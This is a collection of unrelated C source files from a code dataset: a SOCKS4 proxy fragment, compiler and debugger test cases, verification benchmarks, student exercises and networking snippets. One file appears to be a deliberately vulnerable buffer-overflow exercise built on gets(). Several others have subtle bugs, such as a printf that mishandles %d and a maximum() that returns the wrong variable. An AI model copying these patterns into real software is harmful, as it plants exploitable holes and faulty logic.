accept(bindfd, (struct sockaddr *)&ftp_addr, &ftplen)) < 0){ perror("ftp accept error"); exit(1); } //must send again sock4_reply(msockfd, 0, ntohs(bindaddr.sin_port), 2, 90); transfer_data(msockfd, ftp_fd); } void process_connect(int browserfd, unsigned int DST_IP, unsigned int DST_PORT){ sock4_reply(browserfd, DST_IP, DST_PORT, 1, 90); char addr[16]; snprintf(addr, sizeof(addr), "%u.%u.%u.%u", DST_IP >> 24, DST_IP >> 16 & 0xFF, DST_IP >> 8 & 0xFF, DST_IP & 0xFF); int port = DST_PORT; int ssockfd = connectTCP(addr, port); transfer_data(browserfd, ssockfd); } int handle_request(int sockfd){ int rc; unsigned char request[REQSIZE]; unsigned char uns_req[4]; unsigned char VN; unsigned char CD; unsigned int DST_PORT; unsigned int DST_IP; unsigned char *USER_ID; //while(1) //{ rc = read(sockfd, request, REQSIZE); if(rc < 0){ perror("read error"); exit(1); } uns_req[0] = request[4]; uns_req[1] = request[5]; uns_req[2] = request[6]; uns_req[3] = request[7]; VN = request[0]; CD = request[1];//1:connect, 2:bind DST_PORT = request[2] << 8 | (request[3]&0xFF); DST_IP = uns_req[0] << 24 | uns_req[1] << 16 | uns_req[2] << 8 | uns_req[3]; USER_ID = request + 8; printf("<D_IP>\t:%u.%u.%u.%u\n", DST_IP>>24, (DST_IP>>16)&0xFF, (DST_IP>>8)&0xff, DST_IP&0xff); printf("<D_PORT>\t:%u\n", DST_PORT); if(CD == 0x01){ printf("<COMMAND>\t:CONNECT\n"); }else{ printf("<COMMAND>\t:BIND\n"); } fflush(stdout); //pass if(analyze_conf(DST_IP, CD) == 1){ printf("<REPLY>\t:ACCEPT\n\n"); fflush(stdout); if(CD == 0x01) process_connect(sockfd, DST_IP, DST_PORT); else process_bind(sockfd); }else{//fail printf("<REPLY>\t:REJECT\n\n"); fflush(stdout); sock4_reply(sockfd, DST_IP, DST_PORT, CD, 91); exit(1); } //} return 0; } void reaper(int signo){ //union wait status; int status; waitpid(-1, &status, WNOHANG); //while(wait3(&status, WNOHANG, (struct rusage*)0) >= 0) // /*empty*/; } int main() { int msockfd;//master sock int pid; struct sockaddr_in cli_addr; socklen_t alen; // client address length msockfd = passiveTCP(SERV_TCP_PORT, 5); signal(SIGCHLD, reaper);//handle dead child while(1) { // new connection from client int newsockfd; alen = sizeof(cli_addr); newsockfd = accept(msockfd, (struct sockaddr *)&cli_addr, &alen); if(newsockfd < 0){ if(errno == EINTR) continue; perror("accept error"); exit(1); } printf("<S_IP>\t:%s\n", inet_ntoa(cli_addr.sin_addr)); printf("<S_PORT>\t:%hu\n", cli_addr.sin_port); fflush(stdout); if((pid = fork()) < 0){ perror("fork error"); exit(1); }else if(pid == 0){ close(msockfd); //proccess requests handle_request(newsockfd); exit(0); } close(newsockfd); } }
the_stack_data/1246656.c
int debug = 0; main (argc, argv) int argc; char *argv[]; { /* printf ("argv = %x\n", argv) */ if (debug) printf ("argv[0] = %d\n", argv[0]); /* * Rest of program */ #ifdef DEBUG printf ("== done ==\n"); #endif }
the_stack_data/120860.c
/* This testcase is part of GDB, the GNU debugger. Copyright 2012-2020 Free Software Foundation, Inc. Contributed by Intel Corporation. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ __thread int foo; int main () { foo = 1; /* after tls assignment */ return foo; }
the_stack_data/95449868.c
#include <stdio.h> #include <stdlib.h> void main(void) { char sample[20]; char buf[50]; int target0; int target1; puts("You can hear the sound of a thousand..."); fgets(sample, sizeof(sample), stdin); gets(buf); }
the_stack_data/87593.c
/* * ======================================================== * * Filename: res.c * * Description: respone for mulicast broadcast program * * Version: 1.0 * Created: 06/02/2013 05:34:46 PM * Revision: none * Compiler: gcc * * Author: liuyang1 (liuy), [email protected] * Organization: ustc * * ======================================================== */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <unistd.h> #include <netinet/in.h> #include <netinet/ip.h> int main(void){ int loop=1; int sockd; if((sockd=socket(PF_INET,SOCK_DGRAM,0))==-1){ perror("socket"); exit(EXIT_FAILURE); } loop=1; if(setsockopt(sockd,SOL_SOCKET,SO_REUSEADDR,&loop,sizeof(loop))<0){ perror("setsockopt:SO_REUSEADDR"); exit(EXIT_FAILURE); } struct sockaddr_in sin; int port=5000; bzero(&sin,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_addr.s_addr=htonl(INADDR_ANY); sin.sin_port=htons(port); if(bind(sockd,(struct sockaddr *)&sin,sizeof(sin))<0){ perror("bind"); exit(EXIT_FAILURE); } loop=1; if(setsockopt(sockd,IPPROTO_IP,IP_MULTICAST_LOOP,&loop,sizeof(loop))<0){ perror("setsockopt:IP_MULTICAST_LOOP"); exit(EXIT_FAILURE); } struct ip_mreq cmd; char hostname[]="224.0.0.1"; cmd.imr_multiaddr.s_addr=inet_addr(hostname); cmd.imr_interface.s_addr=htonl(INADDR_ANY); if(cmd.imr_multiaddr.s_addr==-1){ perror("not a legal multicast addr"); exit(EXIT_FAILURE); } if(setsockopt(sockd,IPPROTO_IP,IP_ADD_MEMBERSHIP,&cmd,sizeof(cmd))<0){ perror("setsockopt:IP_ADD_MEMBERSHIP"); } int iter=0; #define BUFLEN 256 char message[BUFLEN]; int sin_len; while(iter++<8){ sin_len=sizeof(sin); if(recvfrom(sockd,message,BUFLEN,0,(struct sockaddr *)&sin,&sin_len)==-1){ perror("recvfrom"); } printf("resopnse: #%-2d from server : %s\n",iter,message); sleep(1); } if(setsockopt(sockd,IPPROTO_IP,IP_DROP_MEMBERSHIP,&cmd,sizeof(cmd))<0){ perror("setsockopt:IP_DROP_MEMBERSHIP"); } close(sockd); exit(EXIT_SUCCESS); }
the_stack_data/955103.c
// RUN: %clang_cc1 -triple nvptx-unknown-unknown -O3 -S -o %t %s -emit-llvm // RUN: %clang_cc1 -triple nvptx64-unknown-unknown -O3 -S -o %t %s -emit-llvm // Just make sure Clang uses the proper calling convention for the NVPTX back-end. // If something is wrong, the back-end will fail. void foo(float* a, float* b) { a[0] = b[0]; }
the_stack_data/165764270.c
#include <stdio.h> #include <stdlib.h> void f1 (void) { printf("%i\n", 1); } void f2 (void) { printf("%i\n", 2); } void f3 (void) { printf("%i\n", 3); } void f4 (void) { printf("%i\n", 4); } void f5 (void) { printf("%i\n", 5); } void f6 (void) { printf("%i\n", 6); } void f7 (void) { printf("%i\n", 7); } void f8 (void) { printf("%i\n", 8); } void f9 (void) { printf("%i\n", 9); } typedef void(*void_fp)(void); // There is a basic check that excludes all functions that aren't used anywhere // This ensures that check can't work in this example const void_fp fp_all[] = {f1, f2 ,f3, f4, f5 ,f6, f7, f8, f9}; void func() { void_fp * const fp_tbl= malloc(sizeof(void_fp) * 3); fp_tbl[0]=f2; fp_tbl[1]=f3; fp_tbl[2]=f4; // Illegal //fp_tbl = malloc(sizeof(void_fp) * 10); const void_fp fp = fp_tbl[1]; fp(); } int main() { func(); return 0; }
the_stack_data/40793.c
#include <limits.h> #include <stdbool.h> #include <stdarg.h> #include <stdio.h> #include <string.h> static bool print(const char* data, size_t length) { const unsigned char* bytes = (const unsigned char*) data; for (size_t i = 0; i < length; i++) if (putchar(bytes[i]) == EOF) return false; return true; } int printf(const char* restrict format, ...) { va_list parameters; va_start(parameters, format); int written = 0; while (*format != '\0') { size_t maxrem = INT_MAX - written; if (format[0] != '%' || format[1] == '%') { if (format[0] == '%') format++; size_t amount = 1; while (format[amount] && format[amount] != '%') amount++; if (maxrem < amount) { // TODO: Set errno to EOVERFLOW. return -1; } if (!print(format, amount)) return -1; format += amount; written += amount; continue; } const char* format_begun_at = format++; if (*format == 'c') { format++; char c = (char) va_arg(parameters, int); if (!maxrem) { // TODO: Set errno to EOVERFLOW. return -1; } if (!print(&c, sizeof(c))) return -1; written++; } else if (*format == 's') { format++; const char* str = va_arg(parameters, const char*); size_t len = strlen(str); if (maxrem < len) { // TODO: Set errno to EOVERFLOW. return -1; } if (!print(str, len)) return -1; written += len; } else if (*format == 'd') { format++; int d = va_arg(parameters, int); if (!maxrem) { // TODO: Set errno to EOVERFLOW. return -1; } if (!print(&d, sizeof(d))) return -1; written++; } else { format = format_begun_at; size_t len = strlen(format); if (maxrem < len) { // TODO: Set errno to EOVERFLOW. return -1; } if (!print(format, len)) return -1; written += len; format += len; } } va_end(parameters); return written; }
the_stack_data/148222.c
#include <stdio.h> #include <stdlib.h> //Crie um programa que encontre o maior elemento de um vetor utilizando recursividade int maiorElemento(int vet[], int tam){ int vAtual, vAnt; if(tam == 1) return vet[0]; vAtual = vet[tam-1]; vAnt = maiorElemento(vet, tam-1); if(vAtual > vAnt) return vAtual; else return vAnt; } int main(){ int vet[]={5,10,9,13,4},res; res = maiorElemento(vet,4); printf("Maior elemento :: %d", res); return 0; }
the_stack_data/992303.c
#include <stdlib.h> struct a { unsigned int bitfield : 1; }; unsigned int x; int main() { struct a a = {0}; x = 0xbeef; a.bitfield |= x; if (a.bitfield != 1) abort (); exit (0); }
the_stack_data/111076754.c
#include <stdio.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> int sock = 0; int connectToServer(char *ipAddress, int port) { struct sockaddr_in serv_addr; if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { puts("Socket creation error.\n"); return -1; } serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(port); if (inet_pton(AF_INET, ipAddress, &serv_addr.sin_addr) <= 0) { puts("Invalid address or address not supported.\n"); return -2; } if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { puts("Connection Failed.\n"); return -3; } return 0; } int sendCommand(char *message) { char buffer[32] = {0}; send(sock, message, strlen(message), 0); read(sock, buffer, 32); if (strncmp(buffer, "OK", 2) == 0) { return 1; } else if (strncmp(buffer, "KO", 2) == 0) { return -1; } return 0; } void disconnectFromServer() { sendCommand("q"); if (sock > 0) { close(sock); } }
the_stack_data/9513127.c
#include <stdio.h> int main(){ int valor=0,num100=0,n100=0,num50=0,n50=0,num20=0,n20=0,num10=0,n10=0,num5=0,n5=0,num2=0,n2=0,num1=0,n1=0; scanf("%d",&valor); num100=valor/100; n100=valor%100; num50=n100/50; n50=n100%50; num20=n50/20; n20=n50%20; num10=n20/10; n10=n20%10; num5=n10/5; n5=n10%5; num2=n5/2; n2=n5%2; num1=n2/1; n1=n2%1; printf("%d\n",valor); printf("%d nota(s) de R$ 100,00\n",num100); printf("%d nota(s) de R$ 50,00\n",num50); printf("%d nota(s) de R$ 20,00\n",num20); printf("%d nota(s) de R$ 10,00\n",num10); printf("%d nota(s) de R$ 5,00\n",num5); printf("%d nota(s) de R$ 2,00\n",num2); printf("%d nota(s) de R$ 1,00\n",num1); return 0; }
the_stack_data/231392065.c
// // Created by zing on 5/21/2020. // #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> #include <arpa/inet.h> #define MAX_BUF 256 int main(int argc, char const *argv[]) { int s = 0; int n = 0; int port = 1995; struct sockaddr_in srv; char *addr = "127.0.0.1"; char buf[MAX_BUF] = {0}; if (argc == 2) { addr = (char *) argv[1]; } bzero(&srv, sizeof(srv)); srv.sin_family = PF_INET; srv.sin_addr.s_addr = inet_addr(addr); srv.sin_port = htons(port); s = socket(AF_INET, SOCK_DGRAM, PF_UNSPEC); if (s < 0) { perror("socket"); return -1; } while (1) { memset(buf, 0, MAX_BUF); /*读取用户输入到buf中*/ fgets(buf, MAX_BUF, stdin); /*通过套节字 s 向服务器发送数据*/ if ((n = sendto(s, buf, strlen(buf), 0, (struct sockaddr *) &srv, sizeof(struct sockaddr))) < 0) { perror("sendto"); return -1; } else { printf("send to %s(port=%d) len %d:%s\n", addr, port, n, buf); } } }
the_stack_data/57949960.c
/* globalrefs.c - Test symbolic constant expressions constructed from * global addresses and index expressions into global addresses. * Do this both with global constants and with inline constant. * Instead of printing absolute addresses, print out the differences in * memory addresses to get output that matches that of the native compiler. */ #include <stdio.h> #define __STDC_LIMIT_MACROS 1 #include <inttypes.h> struct test { long A; struct { unsigned long X; unsigned long Y; } S; long B; struct test* next; }; struct test TestArray[10]; struct test Test1; /* Create global symbolic constants from the addresses of the above globals */ struct test* TestArrayPtr = &TestArray[3]; long* Aptr = &Test1.A; unsigned* Yptr = &Test1.S.Y; struct test** NextPtr = &Test1.next; void printdiff(void* p1, void* p2) { printf(" %d", (int)((unsigned long) p1 - (unsigned long) p2)); } int main(int argc, char** argv) { unsigned long diff1, diff2, diff3, diff4; printdiff(&Test1.S.Y, &Test1.A); printdiff(&Test1.next, &Test1.S.Y); printf("\n"); diff1 = (unsigned long) &TestArray[3] - (unsigned long) TestArray; diff3 = (unsigned long) &Test1.S.Y - (unsigned long) &Test1.A; diff4 = (unsigned long) &Test1.next - (unsigned long) &Test1.S.Y; if (diff1 != (diff1 / sizeof(*TestArray)) * sizeof(*TestArray)) return 1; printf("&TestArray[3] - TestArray = 0x%lx\n", diff1 / sizeof(*TestArray)); printf("Xptr - Aptr = 0x%lx\n", diff3); printf("NextPtr - Xptr = 0x%lx\n\n", diff4); diff1 = (unsigned long) TestArrayPtr - (unsigned long) TestArray; diff3 = (unsigned long) Yptr - (unsigned long) Aptr; diff4 = (unsigned long) NextPtr - (unsigned long) Yptr; if (diff1 != (diff1 / sizeof(*TestArray)) * sizeof(*TestArray)) return 1; printf("&TestArray[3] - TestArray = 0x%lx\n", diff1 / sizeof(*TestArray)); printf("Xptr - Aptr = 0x%lx\n", diff3); printf("NextPtr - Xptr = 0x%lx\n\n", diff4); return 0; }
the_stack_data/43948.c
/* $XFree86: xc/programs/xrx/plugin/stubs.c,v 1.2 2006/01/09 15:01:45 dawes Exp $ */ /* -*- Mode: C; tab-width: 4; -*- */ /******************************************************************************* * Simple LiveConnect Sample Plugin * Copyright (c) 1996 Netscape Communications. All rights reserved. ******************************************************************************/ /* ** Ok, so we don't usually include .c files (only .h files) but we're ** doing it here to avoid some fancy make rules. First pull in the common ** glue code: */ #ifdef XP_UNIX #include "common/npunix.c" #endif
the_stack_data/122533.c
#include <stdio.h> int main(void) { double cash, price; int num; scanf("%lf %lf", &cash, &price); num = (int)(cash / price); printf("%d", num); return (0); }
the_stack_data/105275.c
extern float __VERIFIER_nondet_float(void); extern int __VERIFIER_nondet_int(void); typedef enum {false, true} bool; bool __VERIFIER_nondet_bool(void) { return __VERIFIER_nondet_int() != 0; } int main() { float x_2, _x_x_2; bool _EL_X_92, _x__EL_X_92; bool _EL_U_99, _x__EL_U_99; float x_3, _x_x_3; float x_1, _x_x_1; float x_0, _x_x_0; bool _EL_X_90, _x__EL_X_90; int __steps_to_fair = __VERIFIER_nondet_int(); x_2 = __VERIFIER_nondet_float(); _EL_X_92 = __VERIFIER_nondet_bool(); _EL_U_99 = __VERIFIER_nondet_bool(); x_3 = __VERIFIER_nondet_float(); x_1 = __VERIFIER_nondet_float(); x_0 = __VERIFIER_nondet_float(); _EL_X_90 = __VERIFIER_nondet_bool(); bool __ok = (1 && ( !(( !(-15.0 <= (x_0 + (-1.0 * x_1)))) || (_EL_U_99 && ( !_EL_X_92))))); while (__steps_to_fair >= 0 && __ok) { if ((( !(-15.0 <= (x_0 + (-1.0 * x_1)))) || ( !(( !(-15.0 <= (x_0 + (-1.0 * x_1)))) || (_EL_U_99 && ( !_EL_X_92)))))) { __steps_to_fair = __VERIFIER_nondet_int(); } else { __steps_to_fair--; } _x_x_2 = __VERIFIER_nondet_float(); _x__EL_X_92 = __VERIFIER_nondet_bool(); _x__EL_U_99 = __VERIFIER_nondet_bool(); _x_x_3 = __VERIFIER_nondet_float(); _x_x_1 = __VERIFIER_nondet_float(); _x_x_0 = __VERIFIER_nondet_float(); _x__EL_X_90 = __VERIFIER_nondet_bool(); __ok = ((((((((x_1 + (-1.0 * _x_x_0)) <= -14.0) && ((x_2 + (-1.0 * _x_x_0)) <= -17.0)) && (((x_1 + (-1.0 * _x_x_0)) == -14.0) || ((x_2 + (-1.0 * _x_x_0)) == -17.0))) && ((((x_0 + (-1.0 * _x_x_1)) <= -8.0) && ((x_1 + (-1.0 * _x_x_1)) <= -17.0)) && (((x_0 + (-1.0 * _x_x_1)) == -8.0) || ((x_1 + (-1.0 * _x_x_1)) == -17.0)))) && ((((x_0 + (-1.0 * _x_x_2)) <= -11.0) && ((x_3 + (-1.0 * _x_x_2)) <= -15.0)) && (((x_0 + (-1.0 * _x_x_2)) == -11.0) || ((x_3 + (-1.0 * _x_x_2)) == -15.0)))) && ((((x_0 + (-1.0 * _x_x_3)) <= -18.0) && ((x_1 + (-1.0 * _x_x_3)) <= -4.0)) && (((x_0 + (-1.0 * _x_x_3)) == -18.0) || ((x_1 + (-1.0 * _x_x_3)) == -4.0)))) && ((_EL_U_99 == ((_x__EL_U_99 && ( !_x__EL_X_92)) || ( !(-15.0 <= (_x_x_0 + (-1.0 * _x_x_1)))))) && ((_EL_X_90 == (16.0 <= (_x_x_0 + (-1.0 * _x_x_2)))) && (_EL_X_92 == _x__EL_X_90)))); x_2 = _x_x_2; _EL_X_92 = _x__EL_X_92; _EL_U_99 = _x__EL_U_99; x_3 = _x_x_3; x_1 = _x_x_1; x_0 = _x_x_0; _EL_X_90 = _x__EL_X_90; } }
the_stack_data/162644533.c
/* This testcase is part of GDB, the GNU debugger. Copyright 2006, 2007, 2008, 2009, 2010, 2011 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ void bar (void); void foo (void) { bar (); } void bar (void) { puts ("bar in u2"); }
the_stack_data/6386453.c
#include <stdio.h> long long q,n,k,a,b; long long ok(long long m){ return ((m*a+(n-m)*b)<k); } void Main(){ scanf("%lld",&q); while (q--){ scanf("%lld%lld%lld%lld",&k,&n,&a,&b); if(n*b>=k) puts("-1"); else{ long long l = 0,r = n,Ans=-1; while(l<=r){ long long m = (l+r)>>1; if(ok(m)) { Ans = m; l = m+1; } else r = m-1; } printf("%lld\n",r); } } return; } int main(){ Main(); return 0; }
the_stack_data/12688.c
//Dados três valores, A, B, C, verificar se eles podem ser valores dos lados de um triângulo //e, se forem, se é um triângulo escaleno, equilátero ou isóscele, considerando os seguin- //tes conceitos: //• O comprimento de cada lado de um triângulo é menor do que a soma dos outros //dois lados. //• Chama-se equilátero o triângulo que tem três lados iguais. //• Denominam-se isósceles o triângulo que tem o comprimento de dois lados iguais. //• Recebe o nome de escaleno o triângulo que tem os três lados diferentes. #include <stdio.h> int main(){ int A,B,C; scanf("%d", &A); scanf("%d", &B); scanf("%d", &C); if ((A < (B+C)) && (B < (A+C)) && (C < (B+A))){ if ((A == B) && (B == C)){ printf("equilátero\n"); }else if(((A==B) || (A==C)) || (C == B)) printf("isósceles\n"); else if((A != B) && (A != C) && (C != B)){ printf("escaleno\n"); } return 0; } printf("Nao forma triangulo.\n"); return 0; }
the_stack_data/4903.c
/* File: mem.c */ /* Emulated memory. */ #include <stdint.h> #define MEM_SIZE UINT16_MAX + 1 /* 2^16B */ unsigned char mem[MEM_SIZE] = { 0 }; #if 0 unsigned char mem[MEM_SIZE] = { /* Interrupt Vector Table [0x0000 - 0x000f] */ 0x10, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Default interrupt routine 0 */ 0xf5, 0x00, 0x30, 0x00, 0xf6, 0x08, 0xfe, 0xff, 0xf1, 0x08, /* Default interrupt routine 1 */ 0xf5, 0x10, 0xfc, 0xff, 0xf6, 0x08, 0xfe, 0xff, 0xf1, 0x08, /* Default interrupt routine 2 */ 0xf5, 0x10, 0xfc, 0xff, 0xf6, 0x08, 0xfe, 0xff, 0xf1, 0x08 }; #endif
the_stack_data/34246.c
#include "stdio.h" #include "errno.h" #include "string.h" #include "unistd.h" int putchar(int ch) { char c = ch; if (write(STDOUT_FILENO, &c, 1) < 0) return -1; return ch; } int puts(const char* str) { int rc = write(STDOUT_FILENO, str, strlen(str)); if (rc < 0) return -1; if (write(STDOUT_FILENO, "\n", 1) < 0) return -1; return rc + 1; } int printf(const char* format, ...) { va_list args; va_start(args, format); int ret = vprintf(format, args); va_end(args); return ret; } int vprintf(const char* format, va_list ap) { return vdprintf(STDOUT_FILENO, format, ap); } int dprintf(int fd, const char* format, ...) { va_list args; va_start(args, format); int ret = vdprintf(fd, format, args); va_end(args); return ret; } int vdprintf(int fd, const char* format, va_list ap) { char buf[1024]; int len = vsnprintf(buf, 1024, format, ap); return write(fd, buf, len); } void perror(const char* s) { dprintf(STDERR_FILENO, "%s: %s\n", s, strerror(errno)); } int getchar(void) { char c; if (read(STDIN_FILENO, &c, 1) < 0) return -1; return c; } int remove(const char* pathname) { if (unlink(pathname) >= 0) return 0; if (errno == EISDIR) return rmdir(pathname); return -1; }
the_stack_data/13500.c
/* Copyright (C) 2008 Free Software Foundation. Verify that __builtin_isinf_sign folds correctly. Origin: Kaveh R. Ghazi, May 17, 2008. */ /* { dg-do link } */ /* All references to link_error should go away at compile-time. */ extern void link_error(int); void __attribute__ ((__noinline__)) foo (float f, double d, long double ld) { /* Test the generic expansion of isinf_sign. */ if (__builtin_isinf_sign(f) != (__builtin_isinf(f) ? (__builtin_signbit(f) ? -1 : 1) : 0)) link_error (__LINE__); if (__builtin_isinf_sign(d) != (__builtin_isinf(d) ? (__builtin_signbit(d) ? -1 : 1) : 0)) link_error (__LINE__); if (__builtin_isinf_sign(ld) != (__builtin_isinf(ld) ? (__builtin_signbit(ld) ? -1 : 1) : 0)) link_error (__LINE__); #ifdef __OPTIMIZE__ /* In boolean contexts, GCC will fold the inner conditional expression to 1. So isinf_sign folds to plain isinf. */ if ((_Bool)__builtin_isinf_sign(f) != (__builtin_isinf(f) != 0)) link_error (__LINE__); if ((_Bool)__builtin_isinf_sign(d) != (__builtin_isinf(d) != 0)) link_error (__LINE__); if ((_Bool)__builtin_isinf_sign(ld) != (__builtin_isinf(ld) != 0)) link_error (__LINE__); #endif if ((__builtin_isinf_sign(f) != 0) != (__builtin_isinf(f) != 0)) link_error (__LINE__); if ((__builtin_isinf_sign(d) != 0) != (__builtin_isinf(d) != 0)) link_error (__LINE__); if ((__builtin_isinf_sign(ld) != 0) != (__builtin_isinf(ld) != 0)) link_error (__LINE__); if ((__builtin_isinf_sign(f) ? 5 : 6) != (__builtin_isinf(f) ? 5 : 6)) link_error (__LINE__); if ((__builtin_isinf_sign(d) ? 5 : 6) != (__builtin_isinf(d) ? 5 : 6)) link_error (__LINE__); if ((__builtin_isinf_sign(ld) ? 5 : 6) != (__builtin_isinf(ld) ? 5 : 6)) link_error (__LINE__); } int main (void) { foo (1, 2, 3); return 0; }
the_stack_data/72013857.c
#include <stdio.h> int main() { int N, i; scanf("%d", &N); for(i=1; N>=i; --N) { printf("%d\n", N); } }
the_stack_data/59513031.c
int ft_abs(int n) { if (n < 0) n *= -1; return (n); }
the_stack_data/156393818.c
/* Empty. Not needed unless ldbl support is in. */
the_stack_data/132952350.c
// -*- mode:C++; tab-width:8; c-basic-offset:2; indent-tabs-mode:t -*- // vim: ts=8 sw=2 smarttab /* * Ceph - scalable distributed file system * * Copyright (C) 2011 New Dream Network * * This is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License version 2.1, as published by the Free Software * Foundation. See file COPYING. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #if defined(__FreeBSD__) || defined(_AIX) #include <sys/socket.h> #include <netinet/in.h> #endif #include <netdb.h> #define BUF_SIZE 128 int safe_cat(char **pstr, int *plen, int pos, const char *str2) { int len2 = strlen(str2); //printf("safe_cat '%s' max %d pos %d '%s' len %d\n", *pstr, *plen, pos, str2, len2); while (*plen < pos + len2 + 1) { *plen += BUF_SIZE; void *_realloc = realloc(*pstr, (size_t)*plen); if (!_realloc) { printf("Out of memory\n"); exit(1); } else { *pstr = _realloc; } //printf("safe_cat '%s' max %d pos %d '%s' len %d\n", *pstr, *plen, pos, str2, len2); } strncpy((*pstr)+pos, str2, len2); (*pstr)[pos+len2] = '\0'; return pos + len2; } char *resolve_addrs(const char *orig_str) { int len = BUF_SIZE; char *new_str = (char *)malloc(len); if (!new_str) { return NULL; } char *saveptr = NULL; char *buf = strdup(orig_str); const char *delim = ",; "; char *tok = strtok_r(buf, delim, &saveptr); int pos = 0; while (tok) { struct addrinfo hint; struct addrinfo *res, *ores; char *firstcolon, *lastcolon, *bracecolon; int r; int brackets = 0; firstcolon = strchr(tok, ':'); lastcolon = strrchr(tok, ':'); bracecolon = strstr(tok, "]:"); char *port_str = 0; if (firstcolon && firstcolon == lastcolon) { /* host:port or a.b.c.d:port */ *firstcolon = 0; port_str = firstcolon + 1; } else if (bracecolon) { /* [ipv6addr]:port */ port_str = bracecolon + 1; *port_str = 0; port_str++; } if (port_str && !*port_str) port_str = NULL; if (*tok == '[' && tok[strlen(tok)-1] == ']') { tok[strlen(tok)-1] = 0; tok++; brackets = 1; } //printf("name '%s' port '%s'\n", tok, port_str); // FIPS zeroization audit 20191115: this memset is fine. memset(&hint, 0, sizeof(hint)); hint.ai_family = AF_UNSPEC; hint.ai_socktype = SOCK_STREAM; hint.ai_protocol = IPPROTO_TCP; r = getaddrinfo(tok, port_str, &hint, &res); if (r < 0) { printf("server name not found: %s (%s)\n", tok, gai_strerror(r)); free(new_str); free(buf); return 0; } /* build resolved addr list */ ores = res; while (res) { char host[40], port[40]; getnameinfo(res->ai_addr, res->ai_addrlen, host, sizeof(host), port, sizeof(port), NI_NUMERICSERV | NI_NUMERICHOST); /*printf(" host %s port %s flags %d family %d socktype %d proto %d sanonname %s\n", host, port, res->ai_flags, res->ai_family, res->ai_socktype, res->ai_protocol, res->ai_canonname);*/ if (res->ai_family == AF_INET6) brackets = 1; /* always surround ipv6 addrs with brackets */ if (brackets) pos = safe_cat(&new_str, &len, pos, "["); pos = safe_cat(&new_str, &len, pos, host); if (brackets) pos = safe_cat(&new_str, &len, pos, "]"); if (port_str) { pos = safe_cat(&new_str, &len, pos, ":"); pos = safe_cat(&new_str, &len, pos, port); } res = res->ai_next; if (res) pos = safe_cat(&new_str, &len, pos, ","); } freeaddrinfo(ores); tok = strtok_r(NULL, delim, &saveptr); if (tok) pos = safe_cat(&new_str, &len, pos, ","); } //printf("new_str is '%s'\n", new_str); free(buf); return new_str; }
the_stack_data/64201233.c
// Fig. 5.4: fig05_04.c // Finding the maximum of three integers. #include <stdio.h> int maximum(int x, int y, int z); int main(int argc, char const *argv[]) { int number1; int number2; int number3; printf("%s", "Enter three integers: "); scanf("%d%d%d", &number1, &number2, &number3); // number1, number2, and number3 are arguments // to the maximum function printf("Maximum is: %d\n", maximum(number1, number2, number3)); } // Function maximum definition // x, y and z are parameters int maximum(int x, int y, int z) { int max = x; if (y > max) { max = y; } if (z > max) { max = y; } return max; }
the_stack_data/1223151.c
// RUN: %clang_cc1 %s -emit-llvm -o - -triple=thumbv7-none--eabi | FileCheck %s // RUN: %clang_cc1 %s -emit-llvm -o - -triple=armv6-none--eabi | FileCheck %s // RUN: %clang_cc1 %s -emit-llvm -o - -triple=armv7-unknown-openbsd | FileCheck %s int i; long long l; typedef enum memory_order { memory_order_relaxed, memory_order_consume, memory_order_acquire, memory_order_release, memory_order_acq_rel, memory_order_seq_cst } memory_order; void test_presence(void) { // CHECK-LABEL: @test_presence // CHECK: atomicrmw add i32* {{.*}} seq_cst, align 4 __atomic_fetch_add(&i, 1, memory_order_seq_cst); // CHECK: atomicrmw sub i32* {{.*}} seq_cst, align 4 __atomic_fetch_sub(&i, 1, memory_order_seq_cst); // CHECK: load atomic i32, i32* {{.*}} seq_cst, align 4 int r; __atomic_load(&i, &r, memory_order_seq_cst); // CHECK: store atomic i32 {{.*}} seq_cst, align 4 r = 0; __atomic_store(&i, &r, memory_order_seq_cst); // CHECK: atomicrmw add i64* {{.*}} seq_cst, align 8 __atomic_fetch_add(&l, 1, memory_order_seq_cst); // CHECK: atomicrmw sub i64* {{.*}} seq_cst, align 8 __atomic_fetch_sub(&l, 1, memory_order_seq_cst); // CHECK: load atomic i64, i64* {{.*}} seq_cst, align 8 long long rl; __atomic_load(&l, &rl, memory_order_seq_cst); // CHECK: store atomic i64 {{.*}} seq_cst, align 8 rl = 0; __atomic_store(&l, &rl, memory_order_seq_cst); }
the_stack_data/734317.c
int f() { int a; int b; a = 2; if (a > 3) { b = 2; } else { b = 6; } return b; } int main(){ int a; int b; a = 2; if (a > 3) { b = 2; } else { b = 6; } return b; }
the_stack_data/87636635.c
//Código por Henrique Felipe (GitHub: HenriqueIni) #include <stdio.h> #include <stdlib.h> int MMC(int num1, int num2) { int x,y,r,mmc; x = num1; y = num2; do { r = x % y; x = y; y = r; } while (r != 0); mmc = (num1 * num2) / x; return mmc; } int main() { printf("MMC\n"); printf("MMC(30, 60) = %d\n", MMC(30, 60)); printf("MMC(60, 100) = %d\n", MMC(60, 100)); printf("MMC(36, 14) = %d\n", MMC(36, 14)); }
the_stack_data/132469.c
